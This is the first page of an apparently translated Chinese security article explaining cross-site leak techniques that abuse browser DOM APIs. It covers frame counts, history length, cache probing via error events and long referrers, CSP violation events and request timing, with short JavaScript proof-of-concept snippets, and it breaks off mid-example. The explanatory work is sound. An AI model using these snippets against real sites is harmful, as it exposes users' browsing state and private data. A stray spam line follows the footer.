歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

一些可能導致跨域信息泄漏的DOM API

來源:本站整理 作者:佚名 時間:2019-06-06 TAG: 我要投稿

對幀的數量的正確統計 (Frame Count)
Window DOM API 記錄了如何在其他瀏覽環境中遍歷跨域窗口的方法,方法之一就是利用文檔(window.length)中的幀的數量。
let win /*Any Window reference, either iframes, opener, or open()*/;
win.frames.length;
在某些情況下,不同的狀態具有相同數量的幀,這妨礙了我們對它們進行正確的分類。
在這些情況下,你可以嘗試連續記錄幀的數量,因為幀的數量可以直接影響你可以使用的瀏覽模式,或者對某些關鍵點的計時,或者在應用程序加載期間檢測到的數量異常的幀。
const tab = window.opener; // Any Window reference
const pattern = [];
tab.location = 'https://target';
const recorder = setInterval(() => pattern.push(tab.frames.length), 0);
setTimeout(() => {
   clearInterval(recorder);
   console.log(pattern);
}, 6 * 1000);
History Length
使用history.length判斷是否有上一頁面,如果沒有就返回到指定頁面,一般是返回到首頁,length屬性聲明了瀏覽器歷史列表中的元素數量。
History DOM API記錄歷史對象可以知道用戶歷史記錄中有多少條目。例如,通過history.pushState或正常導航,就可以獲取這些信息,獲取這些信息后,攻擊者可用于檢測跨域頁面何時具有哪些類型的導航。history.pushState()主要是在不刷新瀏覽器的情況下,創建新的瀏覽記錄并插入瀏覽記錄隊列中。
請注意,為了檢測含有iframe標簽的頁面上的導航,可以只計算onload事件被觸發的次數(請參閱Frame timing),在頁面不能位于幀內的情況下,這種機制可能很有用。
history.length; // leaks if there was a javascript/meta-refresh redirect
錯誤事件
對于大多數加載子資源的HTML元素,都有在響應錯誤(例如錯誤500、404等)和解析錯誤的情況下觸發的錯誤事件。
人們可以通過兩種方式濫用這一點:
1. 通過檢查用戶是否有權訪問特定的資源(參考具體示例);
2. 通過檢查用戶是否在過去加載了特定的資源(除非資源被緩存,否則強制執行HTTP錯誤);
緩存和錯誤事件
在獲取子資源(除非緩存)時“強制”出錯的一種方法是:根據不屬于緩存鍵的數據強制服務器拒絕請求。有2種方法可以做到這一點,例如:
1.如果服務器具有Web應用程序防火墻,則可以觸發誤報。例如,可以嘗試通過在短時間內執行許多網絡請求來強制服務器觸發DoS保護。
2.如果服務器對HTTP請求的大小有限制,則可以設置一個非常長的HTTP Referrer,以便在請求URL時,服務器拒絕它。
由于瀏覽器只會在緩存中沒有內容時發出HTTP請求,因此可以注意到:
1.如果image / script / css加載沒有錯誤,那么這必然意味著它來自緩存;
2.否則,它來自來自網絡(注意,也可以使用計時方式來計算出來);
由于緩存探測攻擊一直是一種被廣泛應用的攻擊方式,所以一些瀏覽器一直在考慮為每個源提供單獨的緩存存儲,除此之外,還沒有其他更好的解決方案可用。
為了本文演示,我會在以下列一些使用超長HTTP referrer的示例代碼。
(async ()=>{
  let url = 'https://otherwebsite.com/logo.jpg';
  // Evict this from the cache (force an error).
  history.replaceState(1,1,Array(16e3));
  await fetch(url, {cache: 'reload', mode: 'no-cors'});
  // Load the other page (you can also use )
  // Note that index.html must have
  history.replaceState(1,1,'/');
  f.src = 'http://otherwebsite.com/index.html';
  await new Promise(r=>{f.onload=r;});
  // Check if the image was loaded.
  // For better accuracy, use a service worker with {cache: 'force-cache'}
  history.replaceState(1,1,Array(16e3));
  let img = new Image();
  img.src = url;
  try {
    await new Promise((r, e)=>{img.onerror=e;img.onload=r;});
    alert('Resource was cached'); // Otherwise it would have errored out
  } catch(e) {
    alert('Resource was not cached'); // Otherwise it would have loaded
  }
})();
CSP違規事件
發生CSP違規時創建的CSP的違反DOM事件的對象包括被阻塞的主機信息,如果此信息泄露,則攻擊者可使用這些信息了解跨域頁面重定向到哪個域。
document.addEventListener('securitypolicyviolation', e => {
  // goes through here if a 3xx redirect to another domain happened
  console.log(e.blockedURI);
});
fetch('https://example.com/redirect', {mode: 'no-cors',credentials: 'include'});
媒體大小
圖像、視頻、音頻和一些其他資源允許測量它們的持續時間(對于視頻和音頻)和大小(對于圖像)。
計時
對于計時問題,我們必須考慮兩個因素:
1.在另一個窗口/域(例如,網絡,javascript等)中觀察的結果;
2.衡量計時的機制;
為了抵御這些攻擊,瀏覽器試圖限制在窗口/域之間泄漏的信息量,并且在某些情況下,還試圖限制用于測量時間的不同機制的準確性。
測量時間
測量時間最常用的方法是:
1.performance.now():performance.now()是相對于頁面加載和數量級更精確。用例包括基準測試和其他需要高分辨率時間的情況,例如媒體(游戲,音頻,視頻等)應該指出的是performance.now(),它只適用于較新的瀏覽器(包括IE10 +)。
2.SharedArrayBuffer ;
請求時間
在嚴格模式下(對于GET請求)或松散模式下(對于POST請求),可以使用相同站點的cookie緩解這種計時方式代理的信息泄露。在松散模式(lax mode )下使用同站點cookie并不安全,因為它可以通過計時導航請求繞過。
let before = performance.now()
await fetch("//mail.com/search?q=foo")

[1] [2] [3]  下一頁

【聲明】:黑吧安全網(http://www.pcpbjo.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        云南快乐十分前三电视